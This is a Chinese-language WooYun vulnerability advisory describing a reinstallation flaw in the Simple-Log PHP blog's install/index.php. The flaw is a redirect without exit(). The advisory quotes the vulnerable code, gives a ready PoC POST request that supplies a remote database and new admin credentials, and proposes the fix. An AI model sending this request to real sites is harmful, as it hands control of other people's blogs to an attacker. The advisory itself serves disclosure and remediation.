当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-020227

漏洞标题:Simple-Log博客系统全版本重安装漏洞

相关厂商:Simple-Log

漏洞作者: 猪头子

提交时间:2013-03-18 13:21

修复时间:2013-05-02 13:21

公开时间:2013-05-02 13:21

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-05-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Simple-Log博客系统是PHP+MySQL构建的博客系统,若install目录未删除的话,将导致攻击者可以重新安装

详细说明:

在没有删除install文件夹的情况下,install/index.php中用户可以提交远程mysql账号和密码,导致simple-log会重新安装,由于header()函数并不会结束之后的代码,因此漏洞出现。

在/install/index.php
$setup=! empty($_POST['setup' ])?$_POST['setup']: 'check';
if (file_exists(PBBLOG_ROOT.'home/data/config.php' ))
{
require_once(PBBLOG_ROOT.'home/data/config.php' );
}
//用户只要以 post方式提交setup=finish就可进入安装流程
if ($install_lock&& $setup!='finish')
{
//header头并不会结束之后的代码,漏洞出在这里
header( 'location: ../index.php');
}
... ... ...
... ... ...
elseif ($setup=='finish' )
{
$error= array();
if (empty ($_POST['host']))
{
$error[]= '请填写数据库地址' ;
}
if (empty ($_POST['dbname']))
{
$error[]= '请填写数据库' ;
}
if (empty ($_POST['dbuser']))
{
$error[]= '请填写数据库用户名' ;
}
if (empty ($_POST['admin_user']))
{
$error[]= '请填写管理员账号' ;
}
if (empty ($_POST['admin_pass']))
{
$error[]= '请填写管理员密码' ;
}
if (empty ($_POST['blogname']))
{
$error[]= '请填写博客名字' ;
}
if ($error)
{
echo '<p class="line">错误信息</p>';
foreach ($error as $val)
{
echo "<p>$val </p>";
}
exit;
}

//这里填写自己mysql数据库的连接信息
$dbhost=$_POST[ 'host'];
$dbuser=$_POST[ 'dbuser'];
$dbpw=$_POST[ 'dbpass'];
$dbname=$_POST[ 'dbname'];
$charset = 'utf8';
$db= new cls_mysql();
if ($db->connect($dbhost,$dbuser,$dbpw,$dbname,$charset, $pconnect))
{
$error[]= '数据库连接错误' ;
}
if (empty ($_POST['dbprefix']))
{
$dbprefix='fb_';
}
else
{
$dbprefix=$_POST['dbprefix'];
}
//提交的admin_user和admin_pass最后将成为web管理员的账号和密码
$admin_user=$_POST[ 'admin_user'];
$admin_pass=$_POST[ 'admin_pass'];
$blogname=$_POST[ 'blogname'];
$blogdesc=$_POST[ 'blogdesc'];
$blog_keyword=$_POST[ 'blogkeyword'];
//之后就写入配置文件和更新数据库,再以后这个simple-log的数据库将使用用户提交的数据库

漏洞证明:

PoC:

POST http://xxx/install/index.php HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.1; WOW64; U; Edition IBIS; zh-cn) Presto/2.10.229 Version/11.64
Host: www.xxx.com
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://xxx/install/index.php
Proxy-Connection: Keep-Alive
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
setup=finish&host=mysql的地址&dbname=数据库名&dbuser=帐号&dbpass=密码&admin_user=管理员帐号&admin_pass=管理员密码&blogname=博客名


ScreenClip.png

修复方案:

在header()后加上exit()

if ($install_lock&& $setup!='finish')
{
header( 'location: ../index.php');
exit();
}

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:5 (WooYun评价)


漏洞评价:

评论